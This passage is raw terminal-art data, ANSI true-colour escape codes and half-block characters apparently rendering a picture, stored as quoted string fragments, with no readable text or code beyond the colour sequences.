238;220;219m[48;2;255;243;239m▀[38;2;254;239;236m[48;2;202;191;194m▀[38;2;119;108;116m[48;2;37;32;51m▀[38;2;26;18;38m[48;2;43;37;66m▀[38;2;72;65;87m[48;2;77;69;89m▀[38;2;61;62;84m[48;2;65;66;73m▀[38;2;64;73;94m[48;2;48;41;37m▀[38;2;61;54;76m[48;2;93;34;42m▀[38;2;67;32;57m[48;2;172;53;76m▀[38;2;95;34;62m[48;2;187;67;94m▀[38;2;152;84;105m[48;2;171;99;113m▀[38;2;202;125;140m[48;2;126;94;117m▀[38;2;202;119;136m[48;2;96;76;100m▀[38;2;160;86;102m[48;2;107;93;114m▀[38;2;110;61;65m[48;2;111;109;129m▀[38;2;62;43;41m[48;2;91;96;114m▀[38;2;62;60;65m[48;2;70;73;94m▀[38;2;66;64;84m[48;2;60;56;81m▀[38;2;70;59;91m[48;2;67;59;86m▀[38;2;71;60;94m[48;2;73;65;93m▀[38;2;57;55;80m[48;2;70;65;89m▀[38;2;59;57;69m[48;2;69;63;88m▀[38;2;51;37;44m[48;2;71;64;87m▀[38;2;34;17;30m[48;2;53;45;70m▀[38;2;31;22;42m[48;2;28;22;46m▀[38;2;51;42;69m[48;2;38;33;55m▀[38;2;45;44;63m[48;2;56;51;72m▀[38;2;45;42;52m[48;2;60;54;75m▀[38;2;49;49;63m[48;2;70;65;88m▀[38;2;49;43;59m[48;2;67;62;84m▀[38;2;39;27;41m[48;2;22;12;32m▀[38;2;204;182;196m[48;2;124;106;127m▀[38;2;87;72;81m[48;2;207;188;208m▀[38;2;50;46;50m[48;2;54;43;63m▀[38;2;59;53;54m[48;2;70;65;84m▀[38;2;71;50;57m[48;2;66;64;87m▀[38;2;99;52;62m[48;2;64;59;81m▀[38;2;128;57;69m[48;2;67;61;80m▀[38;2;158;61;85m[48;2;72;64;84m▀[38;2;165;54;87m[48;2;72;50;72m▀[38;2;151;49;83m[48;2;111;59;88m▀[38;2;96;22;51m[48;2;118;38;74m▀[38;2;54;10;35m[48;2;103;18;53m▀[38;2;44;21;43m[48;2;78;21;45m▀[38;2;33;19;40m[48;2;50;26;39m▀[38;2;0;0;2m[48;2;17;5;16m▀[38;2;56;42;61m[48;2;0;0;4m▀[38;2;85;72;92m[48;2;80;66;86m▀[38;2;83;74;94m[48;2;82;69;93m▀[38;2;86;75;96m[48;2;76;62;92m▀[38;2;61;50;70m[48;2;89;74;105m▀[38;2;15;6;26m[48;2;77;64;93m▀[38;2;0;0;11m[48;2;26;13;43m▀[38;2;2;0;15m[48;2;5;0;18m▀[38;2;0;0;5m[48;2;0;0;9m▀[38;2;30;22;38m▀[38;2;39;32;44m[48;2;38;29;44m▀[38;2;0;0;0m[48;2;22;16;27m▀[38;2;181;181;185m[48;2;32;28;34m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m[38;2;218;217;219m▄[38;2;164;164;170m[48;2;53;52;61m▀[38;2;51;49;64m[48;2;82;80;93m▀[38;2;72;70;80m[48;2;63;60;70m▀[38;2;64;62;71m[48;2;41;38;49m▀[38;2;52;48;72m[48;2;0;0;15m▀[38;2;6;0;29m[48;2;43;38;65m▀[38;2;15;10;35m[48;2;124;117;144m▀[38;2;82;78;103m[48;2;147;143;169m▀[38;2;148;146;168m[48;2;136;133;157m▀[38;2;109;96;114m[48;2;104;92;110m▀[38;2;136;113;121m[48;2;161;139;149m▀[0m[38;2;252;236;232m▄[38;2;234;219;216m[48;2;240;225;220m▀[38;2;238;223;219m[48;2;242;227;224m▀[38;2;240;225;221m[48;2;241;226;223m▀[38;2;241;226;223m▀▀▀▀[38;2;238;224;223m[48;2;240;226;223m▀[38;2;241;226;225m[48;2;240;225;224m▀[38;2;238;221;221m[48;2;237;223;221m▀[38;2;241;229;227m[48;2;243;228;227m▀[38;2;249;230;230m[48;2;224;198;201m▀[38;2;176;147;150m[48;2;157;118;125m▀[38;2;146;114;119m[48;2;168;131;139m▀[38;2;229;206;208m[48;2;227;205;207m▀[38;2;245;228;227m[48;2;246;229;228m▀[38;2;236;227;218m[48;2;239;224;217m▀[38;2;240;227;221m[48;2;242;226;221m▀[38;2;242;224;225m[48;2;241;226;225m▀[38;2;241;226;224m[48;2;239;227;223m▀[38;2;240;230;221m[48;2;234;221;218m▀[38;2;212;199;192m[48;2;255;245;240m▀[38;2;236;224;219m[48;2;147;136;136m▀[38;2;87;81;85m[48;2;11;6;10m▀[38;2;12;4;21m[48;2;27;27;33m▀[38;2;61;54;77m[48;2;41;31;40m▀[38;2;55;57;70m[48;2;87;33;55m▀[38;2;49;23;33m[48;2;170;63;99m▀[38;2;124;39;59m[48;2;172;59;96m▀[38;2;184;59;88m[48;2;104;40;59m▀[38;2;160;53;77m[48;2;102;83;92m▀[38;2;129;81;86m[48;2;111;117;122m▀[38;2;93;89;87m[48;2;110;130;135m▀[38;2;114;109;129m[48;2;124;129;147m▀[38;2;110;106;129m[48;2;107;109;128m▀[38;2;116;116;137m[48;2;109;110;130m▀[38;2;115;117;139m[48;2;119;121;142m▀[38;2;111;114;136m[48;2;111;116;136m▀[38;2;108;109;132m[48;2;115;118;140m▀[38;2;84;81;106m[48;2;120;120;144m▀[38;2;63;57;83m[48;2;103;102;126m▀[38;2;63;59;84m[48;2;73;71;97m▀[38;2;64;59;84m[48;2;65;60;85m▀[38;2;67;62;87m[48;2;65;60;84m▀[38;2;71;65;93m[48;2;67;62;86m▀[38;2;62;56;81m[48;2;69;63;87m▀[38;2;32;27;51m[48;2;52;46;71m▀[38;2;31;26;48m[48;2;35;30;53m▀[38;2;63;57;80m[48;2;55;50;72m▀[38;2;66;61;83m[48;2;64;59;81m▀[38;2;70;64;89m[48;2;66;61;85m▀[38;2;72;66;91m[48;2;67;64;87m▀[38;2;49;40;62m[48;2;72;64;87m▀[38;2;38;21;43m[48;2;28;12;34m▀[38;2;228;208;229m[48;2;165;149;171m▀[38;2;115;100;122m[48;2;162;150;172m▀[38;2;53;44;69m[48;2;45;41;65m▀[38;2;69;62;88m[48;2;69;64;88m▀[38;2;69;63;89m[48;2;62;59;84m▀[38;2;65;63;87m[48;2;61;61;85m▀[38;2;76;74;98m[48;2;67;64;88m▀[38;2;72;67;88m[48;2;80;74;97m▀[38;2;65;55;75m[48;2;55;51;72m▀[38;2;69;52;71m[48;2;70;72;87m▀[38;2;45;17;33m[48;2;49;49;63m▀[38;2;64;20;42m[48;2;32;16;34m▀[38;2;71;19;42m[48;2;49;17;40m▀[38;2;34;16;28m[48;2;34;19;33m▀[38;2;1;0;6m[48;2;12;1;16m▀[38;2;43;31;50m[48;2;6;0;11m▀[38;2;84;70;94m[48;2;69;55;81m▀[38;2;76;64;93m[48;2;75;61;88m▀[38;2;80;65;96m[48;2;77;63;93m▀[48;2;74;62;93m▀[38;2;86;71;102m[48;2;78;64;95m▀[38;2;43;31;56m[48;2;85;73;99m▀[38;2;6;0;16m[48;2;44;34;55m▀[38;2;2;0;11m[48;2;1;0;11m▀[38;2;8;0;16m[48;2;0;0;6m▀[38;2;44;39;50m[48;2;17;10;23m▀[38;2;0;0;1m[48;2;37;31;40m▀[38;2;104;102;106m[48;2;0;0;4m▀[0m[38;2;209;208;210m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [38;2;242;242;246m[48;2;115;115;117m▀[38;2;74;73;78m[48;2;16;15;20m▀[38;2;89;88;97m[48;2;98;97;108m▀[38;2;75;73;87m[48;2;65;64;80m▀[38;2;43;41;52m[48;2;16;12;24m▀[38;2;4;2;12m[48;2;60;56;69m▀[38;2;63;60;83m[48;2;146;141;166m▀[38;2;146;139;169m[48;2;135;128;159m▀[38;2;146;139;168m[48;2;130;125;152m▀[38;2;128;124;150m[48;2;131;127;154m▀[38;2;135;131;154m[48;2;136;132;158m▀[38;2;105;93;110m[48;2;99;86;105m▀[38;2;162;141;150m[48;2;169;147;158m▀[38;2;255;241;240m[48;2;255;239;237m▀[38;2;237;223;218m[48;2;237;223;218m▀[38;2;242;227;224m[48;2;241;226;223m▀[38;2;241;226;223m▀[38;2;239;224;220m▀[38;2;241;226;223m▀▀▀[38;2;241;225;224m[48;2;239;223;221m▀[38;2;241;226;225m[48;2;239;223;223m▀[38;2;240;226;225m[48;2;246;229;228m▀[38;2;243;221;221m[48;2;225;197;199m▀[38;2;190;154;160m[48;2;179;136;143m▀[38;2;141;95;104m[48;2;141;93;103m▀[38;2;171;135;141m[48;2;174;136;142m▀[38;2;227;203;205m[48;2;226;198;202m▀[38;2;242;228;226m[48;2;245;227;226m▀[38;2;239;226;217m[48;2;238;227;218m▀[38;2;241;227;220m[48;2;237;224;217m▀[38;2;241;226;223m[48;2;240;223;219m▀[38;2;238;224;221m[48;2;235;219;219m▀[0m[38;2;240;228;227m▀[38;2;238;228;227m[48;2;137;129;135m▀[38;2;51;40;43m[48;2;8;0;7m▀[38;2;22;12;21m[48;2;37;24;37m▀[38;2;27;17;22m[48;2;41;0;12m▀[38;2;94;39;50m[48;2;139;54;72m▀[38;2;187;73;108m[48;2;126;44;67m▀[38;2;152;55;87m[48;2;74;42;54m▀[38;2;81;44;59m[48;2;62;69;75m▀[38;2;74;77;84m[48;2;107;114;130m▀[38;2;119;130;140m[48;2;125;129;151m▀[38;2;111;121;139m[48;2;114;119;148m▀[38;2;109;115;137m[48;2;119;118;150m▀[38;2;108;116;135m[48;2;117;125;144m▀[38;2;106;114;130m[48;2;115;120;138m▀[38;2;103;107;126m[48;2;96;96;116m▀[38;2;121;125;146m[48;2;99;96;119m▀[38;2;119;118;141m[48;2;74;71;94m▀[38;2;114;111;135m[48;2;67;63;87m▀[38;2;96;96;120m[48;2;63;57;84m▀[38;2;80;83;105m[48;2;59;56;81m▀[38;2;83;80;104m[48;2;65;62;86m▀[38;2;87;82;107m[48;2;85;80;105m▀[38;2;69;62;88m[48;2;75;70;95m▀[38;2;70;64;88m[48;2;63;57;83m▀[38;2;66;61;85m[48;2;70;64;88m▀[38;2;70;64;88m[48;2;67;62;86m▀[38;2;48;42;64m[48;2;63;57;80m▀[38;2;39;33;55m[48;2;39;33;55m▀[38;2;64;59;81m[48;2;54;49;72m▀[38;2;66;61;86m[48;2;71;64;92m▀[38;2;61;57;82m[48;2;69;64;89m▀[38;2;74;67;91m[48;2;65;60;84m▀[38;2;44;32;55m[48;2;69;60;83m▀[38;2;117;103;125m[48;2;45;35;57m▀[38;2;131;120;143m[48;2;65;56;81m▀[38;2;49;46;67m[48;2;65;60;85m▀[38;2;73;69;92m[48;2;69;63;89m▀[38;2;63;63;87m[48;2;66;61;91m▀[38;2;63;65;93m[48;2;69;63;93m▀[38;2;65;60;87m[48;2;70;59;88m▀[38;2;74;67;94m[48;2;72;63;92m▀[38;2;64;59;83m[48;2;69;66;91m▀[38;2;67;64;86m[48;2;56;54;77m▀[38;2;56;52;73m[48;2;72;67;92m▀[38;2;34;30;49m[48;2;39;31;55m▀[38;2;39;31;49m[48;2;37;26;48m▀[38;2;31;21;34m[48;2;39;27;42m▀[38;2;12;0;15m[48;2;8;0;15m▀[38;2;5;0;11m[48;2;6;0;12m▀[38;2;41;28;49m[48;2;18;5;26m▀[38;2;78;65;93m[48;2;72;56;81m▀[38;2;70;55;85m[48;2;71;56;85m▀[38;2;73;59;89m[48;2;71;56;87m▀[38;2;72;57;89m[48;2;71;56;91m▀[38;2;78;65;94m[48;2;71;57;88m▀[38;2;76;66;89m[48;2;71;62;86m▀[38;2;27;17;38m[48;2;62;52;74m▀[38;2;2;0;12m[48;2;0;0;8m▀[38;2;9;2;17m[48;2;9;1;18m▀[38;2;32;26;35m[48;2;13;7;20m▀[38;2;4;1;8m[48;2;30;27;35m▀[38;2;78;76;81m[48;2;0;0;4m▀[0m[38;2;208;207;209m▄[0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [38;2;75;75;78m[48;2;66;65;70m▀[38;2;27;26;32m[48;2;33;32;40m▀[38;2;85;83;94m[48;2;64;63;75m▀[38;2;86;84;100m[48;2;94;92;108m▀[38;2;15;12;24m[48;2;34;31;44m▀[38;2;116;114;127m[48;2;65;62;76m▀[38;2;136;131;155m[48;2;141;137;163m▀[38;2;128;121;152m[48;2;122;116;147m▀[38;2;130;124;153m[48;2;126;119;150m▀[38;2;122;118;146m[48;2;118;114;143m▀[38;2;129;127;153m[48;2;126;124;150m▀[38;2;88;76;97m[48;2;82;70;92m▀[38;2;174;151;161m[48;2;181;158;169m▀[38;2;253;237;235m[48;2;251;235;234m▀[38;2;238;224;219m[48;2;238;224;219m▀[38;2;241;226;223m[48;2;241;226;223m▀▀▀▀▀▀[38;2;241;226;224m[48;2;239;224;221m▀[38;2;242;225;225m[48;2;251;231;231m▀[38;2;252;230;232m[48;2;237;207;212m▀[38;2;194;157;163m[48;2;172;126;136m▀[38;2;176;128;138m[48;2;179;130;140m▀[38;2;149;102;111m[48;2;142;99;108m▀[38;2;176;137;142m[48;2;184;144;151m▀[38;2;203;172;176m[48;2;177;141;148m▀[38;2;253;230;230m[48;2;237;207;209m▀[38;2;240;228;220m[48;2;249;234;228m▀[38;2;235;226;215m[48;2;236;226;214m▀[38;2;243;227;224m[48;2;235;220;214m▀[0m[38;2;247;230;232m▀[38;2;223;212;218m[48;2;128;117;127m▀[38;2;27;22;32m[48;2;0;0;7m▀[38;2;24;17;28m[48;2;31;27;41m▀[38;2;29;15;27m[48;2;18;1;15m▀[38;2;67;16;32m[48;2;43;11;23m▀[38;2;72;10;22m[48;2;30;4;11m▀[38;2;65;51;55m[48;2;59;56;64m▀[38;2;71;69;77m[48;2;69;67;86m▀[38;2;70;60;81m[48;2;71;59;88m▀[38;2;83;78;105m[48;2;64;55;88m▀[38;2;103;105;132m[48;2;59;59;87m▀[38;2;102;97;131m[48;2;61;59;84m▀[38;2;87;81;111m[48;2;69;54;84m▀[38;2;73;73;95m[48;2;65;57;81m▀[38;2;74;75;94m[48;2;69;67;88m▀[38;2;64;61;81m[48;2;71;64;86m▀[38;2;62;55;80m[48;2;65;56;81m▀[38;2;64;56;82m[48;2;73;63;88m▀[38;2;69;60;85m[48;2;69;61;86m▀[38;2;67;62;87m[48;2;67;62;87m▀[38;2;67;63;88m[48;2;64;62;87m▀[38;2;65;60;86m[48;2;66;62;87m▀[38;2;63;57;83m[48;2;67;63;87m▀[38;2;65;60;85m[48;2;67;62;88m▀[38;2;66;61;87m[48;2;69;63;88m▀[38;2;67;62;86m[48;2;70;64;88m▀[38;2;64;59;82m[48;2;69;63;87m▀[38;2;69;63;85m[48;2;63;57;80m▀[38;2;65;60;82m[48;2;82;76;98m▀[38;2;43;38;61m[48;2;45;40;63m▀[38;2;61;55;82m[48;2;60;51;81m▀[38;2;67;62;88m[48;2;66;62;88m▀[38;2;70;66;89m[48;2;69;66;89m▀[38;2;57;51;74m[48;2;37;31;54m▀[38;2;28;17;40m[48;2;48;41;63m▀[38;2;65;59;84m[48;2;70;66;88m▀[38;2;67;63;87m[48;2;63;62;85m▀[38;2;64;59;86m[48;2;69;63;92m▀[38;2;67;60;89m[48;2;67;62;89m▀[38;2;67;63;91m[48;2;66;64;87m▀[38;2;65;60;86m[48;2;64;62;86m▀[38;2;67;64;89m[48;2;69;60;85m▀[38;2;73;67;93m[48;2;74;67;93m▀[38;2;57;53;78m[48;2;60;57;81m▀[38;2;67;64;87m[48;2;57;60;82m▀[38;2;34;31;55m[48;2;32;30;53m▀[38;2;35;24;51m[48;2;39;23;51m▀[38;2;43;31;49m[48;2;44;31;51m▀[38;2;17;4;21m[48;2;19;7;24m▀[38;2;6;0;11m[48;2;7;0;12m▀[38;2;7;0;13m[48;2;0;0;1m▀[38;2;57;45;67m[48;2;44;31;52m▀[38;2;69;55;82m[48;2;65;53;80m▀[38;2;67;53;84m[48;2;62;48;78m▀[38;2;69;53;88m[48;2;65;50;85m▀[38;2;65;52;85m[48;2;65;52;85m▀[38;2;65;54;81m[48;2;65;54;82m▀[38;2;72;61;86m[48;2;81;70;96m▀[38;2;13;5;27m[48;2;35;26;50m▀[38;2;0;0;9m[48;2;0;0;2m▀[38;2;17;10;24m[48;2;12;6;21m▀[38;2;27;23;33m[48;2;24;22;32m▀[38;2;1;0;6m[48;2;8;5;13m▀[38;2;92;88;95m[48;2;48;44;51m▀[0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [38;2;64;64;69m[48;2;131;130;135m▀[38;2;4;2;10m[48;2;0;0;0m▀[38;2;52;51;62m[48;2;39;35;50m▀[38;2;86;84;100m[48;2;76;72;91m▀[38;2;78;76;91m[48;2;99;96;110m▀[38;2;13;10;24m[48;2;34;31;41m▀[38;2;121;117;144m[48;2;55;49;69m▀[38;2;128;121;153m[48;2;132;121;150m▀[38;2;121;115;146m[48;2;118;109;140m▀[38;2;116;111;142m[48;2;113;111;140m▀[38;2;121;119;144m[48;2;111;110;132m▀[38;2;81;69;91m[48;2;85;67;87m▀[38;2;177;154;168m[48;2;176;142;158m▀[38;2;252;237;236m[48;2;215;191;187m▀[38;2;241;226;224m[48;2;245;224;219m▀[38;2;239;224;220m[48;2;253;232;229m▀[38;2;239;224;223m[48;2;248;228;225m▀[48;2;247;231;226m▀[48;2;245;230;225m▀[38;2;239;224;220m[48;2;243;231;227m▀[38;2;239;223;219m[48;2;247;236;231m▀[38;2;242;226;224m[48;2;250;230;228m▀[38;2;248;228;229m[48;2;207;175;179m▀[38;2;192;157;162m[48;2;165;125;130m▀[38;2;173;124;135m[48;2;183;133;143m▀[38;2;181;133;143m[48;2;180;135;141m▀[38;2;140;102;109m[48;2;141;105;109m▀[38;2;193;154;161m[48;2;192;153;159m▀[38;2;174;133;141m[48;2;186;146;151m▀[38;2;190;158;161m[48;2;169;128;133m▀[38;2;251;230;226m[48;2;198;170;172m▀[38;2;241;227;218m[48;2;245;221;223m▀[0m[38;2;237;224;216m▀[38;2;246;231;232m[48;2;177;163;168m▀[38;2;52;40;52m[48;2;7;0;4m▀[38;2;16;9;28m[48;2;34;24;38m▀[38;2;37;31;49m[48;2;32;23;37m▀[38;2;26;11;24m[48;2;30;17;30m▀[38;2;20;6;15m[48;2;26;16;27m▀[38;2;23;19;27m[48;2;23;18;27m▀[38;2;22;18;35m[48;2;22;13;28m▀[38;2;61;54;81m[48;2;30;17;35m▀[38;2;73;66;100m[48;2;64;52;74m▀[38;2;64;57;93m[48;2;76;66;89m▀[38;2;66;61;89m[48;2;69;60;82m▀[38;2;67;62;85m[48;2;69;62;81m▀[38;2;69;63;82m[48;2;64;63;81m▀[38;2;69;60;82m[48;2;69;63;87m▀[38;2;71;63;86m[48;2;66;60;87m▀[38;2;75;66;89m[48;2;73;66;92m▀[38;2;61;53;77m[48;2;62;56;82m▀[38;2;67;62;86m[48;2;67;62;89m▀[38;2;65;62;85m▀[38;2;64;63;87m[48;2;65;63;89m▀[48;2;67;62;89m▀[38;2;64;62;85m[48;2;69;62;89m▀[38;2;69;63;88m[48;2;69;62;91m▀[38;2;67;62;86m▀[38;2;63;59;83m▀[38;2;67;62;84m[48;2;69;63;89m▀[38;2;69;63;87m[48;2;67;62;88m▀[38;2;65;60;82m[48;2;64;60;84m▀[38;2;74;70;89m[48;2;74;69;93m▀[38;2;56;51;73m[48;2;56;51;75m▀[38;2;61;50;82m[48;2;57;51;80m▀[38;2;66;62;89m[48;2;56;51;80m▀[38;2;51;49;72m[48;2;57;52;80m▀[38;2;48;43;64m[48;2;67;62;87m▀[38;2;69;63;84m[48;2;62;56;82m▀[38;2;67;64;86m[48;2;67;62;87m▀[38;2;64;64;88m[48;2;67;63;89m▀[38;2;69;63;93m[48;2;67;60;91m▀[38;2;69;60;89m[48;2;69;60;88m▀[38;2;67;63;84m[48;2;67;62;86m▀[38;2;66;60;83m[48;2;66;62;86m▀[38;2;65;60;82m[48;2;63;60;84m▀[38;2;69;66;87m[48;2;67;64;87m▀[38;2;66;65;86m[48;2;73;67;92m▀[38;2;54;51;73m[48;2;48;39;65m▀[38;2;37;27;53m[48;2;37;27;53m▀[38;2;40;24;52m[48;2;39;29;53m▀[38;2;40;26;48m[48;2;34;22;39m▀[38;2;15;2;20m[48;2;9;0;12m▀[38;2;9;0;15m▀[38;2;0;0;0m[48;2;0;0;0m▀[38;2;40;27;48m[48;2;33;22;40m▀[38;2;61;48;74m[48;2;65;50;73m▀[38;2;57;43;73m[48;2;63;50;74m▀[38;2;65;50;87m[48;2;52;39;66m▀[38;2;65;52;88m[48;2;32;20;48m▀[38;2;54;44;73m[48;2;11;1;24m▀[38;2;38;24;53m[48;2;12;2;24m▀[38;2;13;4;28m[48;2;30;20;40m▀[38;2;15;7;28m[48;2;34;27;42m▀[38;2;23;17;32m[48;2;30;23;38m▀[38;2;31;29;41m[48;2;19;13;26m▀[38;2;0;0;5m[48;2;24;19;30m▀[38;2;125;121;128m[48;2;238;236;238m▀[0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [38;2;187;184;188m[48;2;242;240;243m▀[38;2;33;30;39m[48;2;111;108;116m▀[38;2;19;16;30m[48;2;0;0;5m▀[38;2;57;52;75m[48;2;44;40;57m▀[38;2;84;81;94m[48;2;71;69;83m▀[38;2;80;78;84m[48;2;99;99;105m▀[38;2;15;7;22m[48;2;35;31;46m▀[38;2;104;93;118m[48;2;26;16;41m▀[38;2;127;118;148m[48;2;124;117;144m▀[38;2;110;109;136m[48;2;111;108;136m▀[38;2;107;106;124m[48;2;103;98;119m▀[38;2;89;69;86m[48;2;96;75;94m▀[38;2;185;146;162m[48;2;193;153;170m▀[38;2;175;142;143m[48;2;188;151;155m▀[38;2;186;157;152m[48;2;177;142;148m▀[38;2;214;184;184m[48;2;171;133;139m▀[38;2;232;203;203m[48;2;176;133;140m▀[38;2;239;210;210m[48;2;182;137;147m▀[38;2;236;206;208m[48;2;179;131;141m▀[38;2;235;206;208m[48;2;175;126;138m▀[38;2;217;187;191m▀[38;2;187;153;158m[48;2;172;127;138m▀[38;2;166;121;129m[48;2;183;139;149m▀[38;2;181;133;142m[48;2;203;154;166m▀[38;2;193;142;151m[48;2;190;141;153m▀[38;2;177;132;140m[48;2;176;133;143m▀[38;2;146;107;113m[48;2;89;51;60m▀[38;2;193;154;160m[48;2;184;149;157m▀[38;2;188;144;153m[48;2;206;168;175m▀[38;2;182;133;142m[48;2;198;155;166m▀[38;2;171;127;138m[48;2;190;146;158m▀[38;2;193;157;166m[48;2;177;138;151m▀[38;2;235;208;219m[48;2;108;81;91m▀[38;2;63;45;52m[48;2;16;0;9m▀[38;2;18;10;17m[48;2;29;21;29m▀[38;2;30;23;31m[48;2;29;27;35m▀[38;2;28;21;30m[48;2;32;27;38m▀[38;2;34;26;39m[48;2;32;24;38m▀[38;2;35;27;40m[48;2;32;26;39m▀[38;2;28;20;29m[48;2;27;22;31m▀[38;2;23;12;24m[48;2;23;16;28m▀[38;2;22;10;21m[48;2;27;17;31m▀[38;2;27;12;28m[48;2;23;10;27m▀[38;2;50;38;55m[48;2;20;8;26m▀[38;2;73;63;82m[48;2;30;20;37m▀[38;2;73;67;84m[48;2;62;52;71m▀[38;2;64;62;78m[48;2;74;66;85m▀[38;2;67;62;87m[48;2;66;61;84m▀[38;2;64;59;87m[48;2;67;62;87m▀[38;2;69;62;89m[48;2;66;63;87m▀[38;2;62;56;83m[48;2;67;62;87m▀[38;2;63;57;84m[48;2;62;56;81m▀[38;2;70;63;91m[48;2;69;63;88m▀[38;2;69;62;89m[48;2;66;63;86m▀[38;2;69;63;89m[48;2;66;61;87m▀[38;2;67;62;88m[48;2;66;63;87m▀[38;2;65;60;88m[48;2;69;63;86m▀[38;2;65;59;86m▀[38;2;65;59;87m▀[38;2;64;57;85m[48;2;67;63;85m▀[38;2;65;60;86m[48;2;72;67;88m▀[38;2;64;59;84m[48;2;70;65;86m▀[38;2;76;71;95m[48;2;75;71;88m▀[38;2;55;50;74m[48;2;60;54;74m▀[38;2;57;52;78m[48;2;49;42;64m▀[38;2;64;59;84m[48;2;62;54;77m▀[38;2;67;62;88m[48;2;64;56;80m▀[48;2;67;61;84m▀[48;2;72;64;87m▀[38;2;66;62;88m[48;2;73;65;88m▀▀[38;2;66;61;88m[48;2;72;64;87m▀[38;2;66;63;88m[48;2;71;65;87m▀[38;2;67;63;87m[48;2;70;66;87m▀[38;2;65;62;86m[48;2;70;65;86m▀[38;2;64;59;83m[48;2;69;63;84m▀[38;2;71;65;91m[48;2;76;69;91m▀[38;2;74;66;92m[48;2;71;63;85m▀[38;2;38;28;54m[48;2;32;24;46m▀[38;2;40;31;57m[48;2;34;27;49m▀[38;2;40;30;55m[48;2;15;5;27m▀[38;2;18;6;22m[48;2;5;0;11m▀[38;2;9;0;11m[48;2;10;0;15m▀[38;2;8;0;11m[48;2;2;0;7m▀[38;2;0;0;5m[48;2;0;0;7m▀[38;2;41;28;48m[48;2;19;8;26m▀[38;2;50;37;56m[48;2;15;4;22m▀[38;2;21;8;29m[48;2;23;12;32m▀[38;2;20;6;29m[48;2;31;20;40m▀[38;2;30;19;40m[48;2;24;15;33m▀[38;2;29;20;39m[48;2;23;16;33m▀[38;2;29;19;37m[48;2;30;22;38m▀[38;2;23;15;32m[48;2;30;23;38m▀[38;2;24;19;32m[48;2;34;28;41m▀[38;2;35;29;41m[48;2;0;0;0m▀[38;2;0;0;0m[48;2;37;32;40m▀[0m[38;2;143;138;146m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m[38;2;209;206;213m▀[38;2;2;0;10m[48;2;32;29;39m▀[38;2;16;11;28m[48;2;9;5;20m▀[38;2;46;45;57m[48;2;31;30;42m▀[38;2;84;86;91m[48;2;62;63;72m▀[38;2;83;80;94m[48;2;86;87;100m▀[38;2;6;0;23m[48;2;48;43;65m▀[38;2;60;54;81m[48;2;5;0;26m▀[38;2;121;118;143m[48;2;104;100;125m▀[38;2;98;92;113m[48;2;109;102;122m▀[38;2;108;88;106m[48;2;108;89;108m▀[38;2;190;152;170m[48;2;188;157;175m▀[38;2;186;141;154m[48;2;198;160;175m▀[38;2;193;149;160m[48;2;186;149;162m▀[38;2;198;157;168m[48;2;161;128;141m▀[48;2;126;95;108m▀[38;2;195;153;166m[48;2;76;54;65m▀[38;2;193;152;164m[48;2;65;46;56m▀[38;2;185;147;160m[48;2;57;44;54m▀[38;2;183;146;159m[48;2;55;46;55m▀[38;2;186;152;164m[48;2;73;61;71m▀[38;2;187;157;168m[48;2;78;66;76m▀[38;2;194;158;171m[48;2;92;76;86m▀[38;2;177;143;155m[48;2;94;80;91m▀[38;2;177;146;155m[48;2;95;81;91m▀[38;2;34;9;18m[48;2;63;54;63m▀[38;2;33;10;18m[48;2;41;33;41m▀[38;2;119;94;102m[48;2;35;26;34m▀[38;2;161;133;143m[48;2;49;38;46m▀[38;2;127;105;115m[48;2;45;39;49m▀[38;2;43;23;34m[48;2;42;35;45m▀[38;2;9;0;5m[48;2;49;42;53m▀[38;2;13;5;15m[48;2;50;46;57m▀[38;2;8;2;12m[48;2;49;46;57m▀[38;2;12;10;20m[48;2;48;45;56m▀[38;2;10;6;20m[48;2;44;43;55m▀[38;2;16;8;22m[48;2;45;44;56m▀[38;2;22;17;30m[48;2;33;31;44m▀[38;2;32;29;40m[48;2;15;12;26m▀[38;2;30;24;37m[48;2;20;17;30m▀[38;2;29;20;34m[48;2;32;27;41m▀[38;2;23;12;28m[48;2;26;16;32m▀[38;2;21;10;28m[48;2;22;15;29m▀[38;2;21;9;27m[48;2;27;16;31m▀[38;2;24;13;32m[48;2;26;12;29m▀[38;2;50;38;56m[48;2;18;5;22m▀[38;2;70;62;83m[48;2;30;19;39m▀[38;2;75;67;91m[48;2;49;41;60m▀[38;2;69;62;83m[48;2;57;50;69m▀[38;2;77;71;93m[48;2;67;60;78m▀[38;2;73;66;88m[48;2;66;59;77m▀[38;2;71;64;86m[48;2;61;53;72m▀[38;2;72;65;87m[48;2;59;51;69m▀[38;2;74;66;89m[48;2;53;45;64m▀[38;2;74;67;88m[48;2;48;40;57m▀[38;2;74;67;86m[48;2;41;33;50m▀[38;2;70;63;83m[48;2;34;27;43m▀[38;2;65;59;77m[48;2;24;18;32m▀[38;2;63;56;74m[48;2;21;15;29m▀[38;2;52;45;62m[48;2;20;13;27m▀[38;2;33;28;44m[48;2;21;15;26m▀[38;2;33;28;43m[48;2;24;18;30m▀[38;2;38;30;48m[48;2;28;21;33m▀[38;2;17;10;24m[48;2;18;10;23m▀[38;2;21;13;31m[48;2;19;12;26m▀[38;2;29;21;38m[48;2;27;19;32m▀[38;2;27;19;37m[48;2;22;16;29m▀[38;2;34;27;44m[48;2;21;15;28m▀[38;2;41;33;51m[48;2;21;13;26m▀[38;2;50;42;60m[48;2;20;11;26m▀[38;2;59;51;67m[48;2;19;11;26m▀[38;2;62;55;73m[48;2;21;15;28m▀[38;2;62;56;74m[48;2;24;16;30m▀[38;2;61;56;73m[48;2;21;13;28m▀[38;2;61;55;72m[48;2;23;15;29m▀[38;2;62;54;72m[48;2;20;12;27m▀[38;2;34;28;45m[48;2;0;0;4m▀[38;2;8;0;18m[48;2;1;0;8m▀[38;2;7;0;17m[48;2;4;0;9m▀[38;2;6;0;15m[48;2;6;0;11m▀[38;2;5;0;11m[48;2;9;1;16m▀[38;2;0;0;6m[48;2;16;8;22m▀[38;2;4;0;9m[48;2;22;15;29m▀[38;2;19;10;26m[48;2;23;16;31m▀[38;2;29;20;37m[48;2;27;19;34m▀[38;2;32;22;40m[48;2;31;23;39m▀[38;2;29;20;38m[48;2;34;27;41m▀[38;2;24;15;32m[48;2;28;19;35